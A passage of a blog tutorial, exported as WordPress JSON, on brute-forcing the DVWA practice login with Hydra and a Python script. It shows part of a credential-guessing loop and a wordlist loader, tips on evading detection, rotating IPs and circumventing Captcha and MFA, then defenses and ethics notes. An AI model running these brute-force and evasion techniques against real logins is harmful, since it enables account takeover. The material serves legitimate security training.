failed&#8221; is in the response.text:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return False<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0Else:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return True<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">For username in username_list:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0For the password in password_list:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0print(f&#8221;Trying username: {username} and password: {password}&#8221;)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if attempt_login(username, password):<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0print(f&#8221;[+] Success! Username: {username} Password: {password}&#8221;)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0exit()<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Else:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0print(&#8220;[-] Failed login&#8221;)<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0time.sleep(1)<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><b>Enhancing the Script<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">The basic script works well in low-security environments but can be enhanced to handle real-world complexities:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><b>Reading Wordlists from Files:<\/b><span style=\"font-weight: 400;\"> Load usernames and passwords from files for larger tests.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Handling CSRF Tokens:<\/b><span style=\"font-weight: 400;\"> Some sites require a dynamic token per login attempt. Your script can first fetch the login page, parse the token using BeautifulSoup, and then submit it along with credentials.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Logging Results:<\/b><span style=\"font-weight: 400;\"> Write successful and failed attempts to log files with timestamps.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Custom Headers and Cookies:<\/b><span style=\"font-weight: 400;\"> Add user-agent strings or session cookies to mimic browsers.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Rate Limiting and Random Delays:<\/b><span style=\"font-weight: 400;\"> Introduce randomness in delays to avoid detection.<\/span><\/li>\n<\/ul>\n<h2><b>Example: Reading Wordlists from Files<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">python<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">def load_wordlist(file_path):<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0with open(file_path, &#8216;r&#8217;) as f:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return [line.strip() for line in f.readlines()]<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">username_list = load_wordlist(&#8216;usernames.txt&#8217;)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">password_list = load_wordlist(&#8216;passwords.txt&#8217;)<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Then use these lists in the brute force loop.<\/span><\/p>\n<h2><b>Ethical Considerations<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Automating brute force attacks must only be done in controlled environments, such as DVW, A, or with explicit permission. Unauthorized attacks are illegal and unethical. Always ensure you have proper authorization before testing any system.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">This article demonstrated how to write a custom Python script to brute force the DVWA login page. We covered setting up the environment, analyzing login parameters, writing the script with requests, and discussing enhancements for more complex scenarios. Automating attacks with Python not only helps in penetration testing but also deepens the understanding of web authentication mechanics.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The next and final part of the series will focus on combining Hydra and Python scripting techniques, advanced bypass methods, and defenses against brute force attacks.<\/span><\/p>\n<h1><b>Advanced Brute Force Strategies and Defenses for DVWA Login Page<\/b><\/h1>\n<p><span style=\"font-weight: 400;\">In the earlier parts of this series, we explored brute forcing the DVWA login page using Hydra and a custom Python script. Now, we\u2019ll dive deeper into advanced attack strategies that combine the strengths of both tools and examine practical defenses to protect applications against brute force login attempts.<\/span><\/p>\n<h2><b>Combining Hydra and Python for Smarter Attacks<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Hydra excels at rapid, parallelized login attempts, while Python scripts offer customization and conditional logic. Combining these tools can lead to more effective brute force attacks, especially on dynamic web applications like DVWA.<\/span><\/p>\n<h3><b>Hybrid Approach: Using Python to Preprocess and Hydra to Execute<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">A common workflow involves using Python to preprocess or customize the attack parameters, then feeding that data into Hydra for rapid execution.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><b>Password Filtering:<\/b><span style=\"font-weight: 400;\"> Use Python to analyze breached password datasets and filter for relevant targets or patterns.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Session Handling:<\/b><span style=\"font-weight: 400;\"> Python scripts can authenticate initially to retrieve cookies or tokens, then export these to Hydra\u2019s configuration to maintain session state.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Dynamic Parameter Extraction:<\/b><span style=\"font-weight: 400;\"> Python can fetch CSRF tokens or other dynamic fields that Hydra cannot handle natively.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">By leveraging Python\u2019s flexibility with Hydra\u2019s brute force power, attackers can increase success rates and bypass simple protections.<\/span><\/p>\n<h3><b>Example Workflow<\/b><\/h3>\n<ol>\n<li style=\"font-weight: 400;\"><b>Python script fetches the login page, extracts the CSRF token.<\/b>&nbsp;<\/li>\n<li style=\"font-weight: 400;\"><b>Generates a customized wordlist based on user input or partial results.<\/b>&nbsp;<\/li>\n<li style=\"font-weight: 400;\"><b>Exports session cookies and tokens to the Hydra configuration.<\/b>&nbsp;<\/li>\n<li style=\"font-weight: 400;\"><b>Hydra runs the brute force attack using the prepared data.<\/b>&nbsp;<\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">This layered method is especially useful against web apps that implement anti-CSRF protections or require stateful sessions.<\/span><\/p>\n<h2><b>Advanced Brute Force Techniques<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Beyond basic username-password guessing, attackers use techniques to evade detection and improve effectiveness.<\/span><\/p>\n<h3><b>1. Credential Stuffing<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Credential stuffing leverages leaked username-password pairs from data breaches. Instead of guessing passwords, attackers test known valid credentials across multiple sites. Automating this requires importing massive wordlists and handling rate limits.<\/span><\/p>\n<h3><b>2. Password Spraying<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Password spraying tries a small set of common passwords against many usernames, avoiding account lockouts caused by rapid failed attempts on one account. This technique is stealthier and harder to detect.<\/span><\/p>\n<h3><b>3. Rate Limiting Bypass<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Attackers may bypass rate limits by:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Rotating IP addresses via proxy chains or VPNs.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Introducing random delays and jitter between requests.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Using distributed attacks from botnets.<\/span><\/li>\n<\/ul>\n<h3><b>4. Captcha and MFA Circumvention<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Modern login pages use Captchas and multi-factor authentication (MFA) to stop brute force. Attackers sometimes:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Use OCR or ML models to solve Captchas.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Target accounts before MFA enrollment.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Exploit fallback or recovery mechanisms.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Understanding these advanced tactics is essential for defenders to stay ahead.<\/span><\/p>\n<h2><b>Defenses Against Brute Force Login Attacks<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Defending web applications requires layered protections. DVWA, by default, is intentionally vulnerable, but real-world systems implement multiple countermeasures.<\/span><\/p>\n<h3><b>1. Account Lockout Policies<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Lock accounts temporarily after a certain number of failed login attempts. This limits brute force attempts but must be carefully balanced to prevent denial of service.<\/span><\/p>\n<h3><b>2. Rate Limiting and Throttling<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Limit the number of login requests from a single IP address or user agent within a timeframe. Combining IP reputation with rate limiting helps block automated attacks.<\/span><\/p>\n<h3><b>3. Multi-Factor Authentication (MFA)<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">MFA adds a verification layer, making brute force of passwords alone ineffective.<\/span><\/p>\n<h3><b>4. CAPTCHA Implementation<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Use CAPTCHA challenges after a few failed attempts to differentiate bots from humans.<\/span><\/p>\n<h3><b>5. Monitoring and Alerting<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Implement systems that detect unusual login patterns, such as rapid attempts or multiple failures across accounts, and alert administrators.<\/span><\/p>\n<h3><b>6. Strong Password Policies and Education<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Encourage users to create strong, unique passwords and educate them about phishing and credential reuse risks.<\/span><\/p>\n<h3><b>7. Secure Development Practices<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Use hashed and salted passwords stored securely.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Protect against SQL injection or other injection flaws that can aid brute force.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Implement CSRF protections and secure session management.<\/span><\/li>\n<\/ul>\n<h2><b>Detecting Brute Force Attacks<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Monitoring login logs and employing anomaly detection can help identify brute force attacks early:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Unusual spikes in failed login attempts.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Multiple login attempts from the same IP with different usernames.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Attempts with default or common passwords.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Tools like fail2ban or custom scripts can automate blocking malicious IPs based on failed attempts.<\/span><\/p>\n<h2><b>Ethical Implications and Responsible Use<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Performing brute force attacks even in test environments requires responsibility:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Always get explicit permission before testing.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Use test environments like DVWA, deliberately designed for learning.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Document your testing methods and findings for transparency.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">In this final part of the series, we explored how combining Hydra and Python scripts can create sophisticated brute force strategies, learned about advanced attack techniques like credential stuffing and password spraying, and examined essential defenses to protect login pages from brute force attacks.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Understanding both offensive methods and defensive strategies is vital for cybersecurity professionals to build resilient applications and respond effectively to threats.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">This concludes the comprehensive exploration of DVWA login brute force attacks with Hydra and Python scripting. If you have any questions or want to explore related topics such as penetration testing frameworks or web security hardening, feel free to ask.<\/span><\/p>\n<h2><b>Final Thoughts<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Brute force attacks remain one of the fundamental techniques used by attackers to gain unauthorized access to web applications. Through this series, we have taken a deep dive into how these attacks operate using tools like Hydra and custom Python scripts on the DVWA platform. This hands-on exploration helps to clarify the mechanics behind brute forcing, from the basic execution of rapid login attempts to the more sophisticated strategies that incorporate session handling, token management, and attack customization.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">While brute forcing can seem straightforward, the challenges posed by modern web applications \u2014 including CSRF tokens, rate limiting, captchas, and multi-factor authentication \u2014 demand a nuanced approach. Automation through Python scripting allows testers to adapt to these challenges, while tools like Hydra offer efficient parallel attack capabilities.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Equally important is understanding how to defend against these attacks. The defenses discussed, from account lockouts and rate limiting to user education and secure coding practices, form a critical part of any security posture. Security professionals must stay vigilant, continuously updating and testing these defenses as attackers evolve their tactics.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Above all, ethical considerations must guide all testing activities. Utilizing vulnerable environments like DVWA offers a safe space to learn, practice, and improve defensive skills without risking harm to real-world systems.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">By gaining insight into brute force attack methodologies and countermeasures, cybersecurity practitioners can better protect applications and data from unauthorized access, contributing to a safer digital ecosystem.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If you continue to explore penetration testing or web security, keep experimenting, learning, and prioritizing responsible and ethical practices.<\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques\u2026 <span class=\"read-more\"><a href=\"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/\">Read More &raquo;<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2374,2378],"tags":[695,1929,1928],"class_list":["post-6507","post","type-post","status-publish","format-standard","hentry","category-all-technology","category-programming","tag-dvwa","tag-dvwa-dumps","tag-dvwa-exam"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"blog_admin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ExamCollection - ExamCollection - #1 Free Source of IT Certification Exams Questions\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection\" \/>\n\t\t<meta property=\"og:description\" content=\"In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2025-05-31T11:37:20+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2026-01-08T05:56:05+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection\" \/>\n\t\t<meta name=\"twitter:description\" content=\"In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#blogposting\",\"name\":\"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection\",\"headline\":\"DVWA Login Bruteforce Attack with Hydra and Custom Python Script\",\"author\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/author\\\/blog_admin\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/#organization\"},\"datePublished\":\"2025-05-31T11:37:20+00:00\",\"dateModified\":\"2026-01-08T05:56:05+00:00\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#webpage\"},\"articleSection\":\"All Technology, Programming, DVWA, DVWA dumps, DVWA exam\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/category\\\/technology\\\/#listItem\",\"name\":\"Technology\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/category\\\/technology\\\/#listItem\",\"position\":2,\"name\":\"Technology\",\"item\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/category\\\/technology\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/category\\\/technology\\\/all-technology\\\/#listItem\",\"name\":\"All Technology\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/category\\\/technology\\\/all-technology\\\/#listItem\",\"position\":3,\"name\":\"All Technology\",\"item\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/category\\\/technology\\\/all-technology\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#listItem\",\"name\":\"DVWA Login Bruteforce Attack with Hydra and Custom Python Script\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/category\\\/technology\\\/#listItem\",\"name\":\"Technology\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#listItem\",\"position\":4,\"name\":\"DVWA Login Bruteforce Attack with Hydra and Custom Python Script\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/category\\\/technology\\\/all-technology\\\/#listItem\",\"name\":\"All Technology\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/#organization\",\"name\":\"ExamCollection\",\"description\":\"ExamCollection - #1 Free Source of IT Certification Exams Questions\",\"url\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/author\\\/blog_admin\\\/#author\",\"url\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/author\\\/blog_admin\\\/\",\"name\":\"blog_admin\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/78d7b86a720ab2165ea0f9be8f18356ac5cea00981c075a5e82678249e79df77?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"blog_admin\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#webpage\",\"url\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/\",\"name\":\"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection\",\"description\":\"In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/author\\\/blog_admin\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/author\\\/blog_admin\\\/#author\"},\"datePublished\":\"2025-05-31T11:37:20+00:00\",\"dateModified\":\"2026-01-08T05:56:05+00:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/\",\"name\":\"ExamCollection\",\"description\":\"ExamCollection - #1 Free Source of IT Certification Exams Questions\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.examcollection.com\\\/blog\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection","description":"In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques","canonical_url":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#blogposting","name":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection","headline":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script","author":{"@id":"https:\/\/www.examcollection.com\/blog\/author\/blog_admin\/#author"},"publisher":{"@id":"https:\/\/www.examcollection.com\/blog\/#organization"},"datePublished":"2025-05-31T11:37:20+00:00","dateModified":"2026-01-08T05:56:05+00:00","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#webpage"},"isPartOf":{"@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#webpage"},"articleSection":"All Technology, Programming, DVWA, DVWA dumps, DVWA exam"},{"@type":"BreadcrumbList","@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/#listItem","position":1,"name":"Home","item":"https:\/\/www.examcollection.com\/blog\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/category\/technology\/#listItem","name":"Technology"}},{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/category\/technology\/#listItem","position":2,"name":"Technology","item":"https:\/\/www.examcollection.com\/blog\/category\/technology\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/category\/technology\/all-technology\/#listItem","name":"All Technology"},"previousItem":{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/category\/technology\/all-technology\/#listItem","position":3,"name":"All Technology","item":"https:\/\/www.examcollection.com\/blog\/category\/technology\/all-technology\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#listItem","name":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script"},"previousItem":{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/category\/technology\/#listItem","name":"Technology"}},{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#listItem","position":4,"name":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script","previousItem":{"@type":"ListItem","@id":"https:\/\/www.examcollection.com\/blog\/category\/technology\/all-technology\/#listItem","name":"All Technology"}}]},{"@type":"Organization","@id":"https:\/\/www.examcollection.com\/blog\/#organization","name":"ExamCollection","description":"ExamCollection - #1 Free Source of IT Certification Exams Questions","url":"https:\/\/www.examcollection.com\/blog\/"},{"@type":"Person","@id":"https:\/\/www.examcollection.com\/blog\/author\/blog_admin\/#author","url":"https:\/\/www.examcollection.com\/blog\/author\/blog_admin\/","name":"blog_admin","image":{"@type":"ImageObject","@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/78d7b86a720ab2165ea0f9be8f18356ac5cea00981c075a5e82678249e79df77?s=96&d=mm&r=g","width":96,"height":96,"caption":"blog_admin"}},{"@type":"WebPage","@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#webpage","url":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/","name":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection","description":"In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/www.examcollection.com\/blog\/#website"},"breadcrumb":{"@id":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/#breadcrumblist"},"author":{"@id":"https:\/\/www.examcollection.com\/blog\/author\/blog_admin\/#author"},"creator":{"@id":"https:\/\/www.examcollection.com\/blog\/author\/blog_admin\/#author"},"datePublished":"2025-05-31T11:37:20+00:00","dateModified":"2026-01-08T05:56:05+00:00"},{"@type":"WebSite","@id":"https:\/\/www.examcollection.com\/blog\/#website","url":"https:\/\/www.examcollection.com\/blog\/","name":"ExamCollection","description":"ExamCollection - #1 Free Source of IT Certification Exams Questions","inLanguage":"en-US","publisher":{"@id":"https:\/\/www.examcollection.com\/blog\/#organization"}}]},"og:locale":"en_US","og:site_name":"ExamCollection - ExamCollection - #1 Free Source of IT Certification Exams Questions","og:type":"article","og:title":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection","og:description":"In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques","og:url":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/","article:published_time":"2025-05-31T11:37:20+00:00","article:modified_time":"2026-01-08T05:56:05+00:00","twitter:card":"summary_large_image","twitter:title":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script - ExamCollection","twitter:description":"In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To 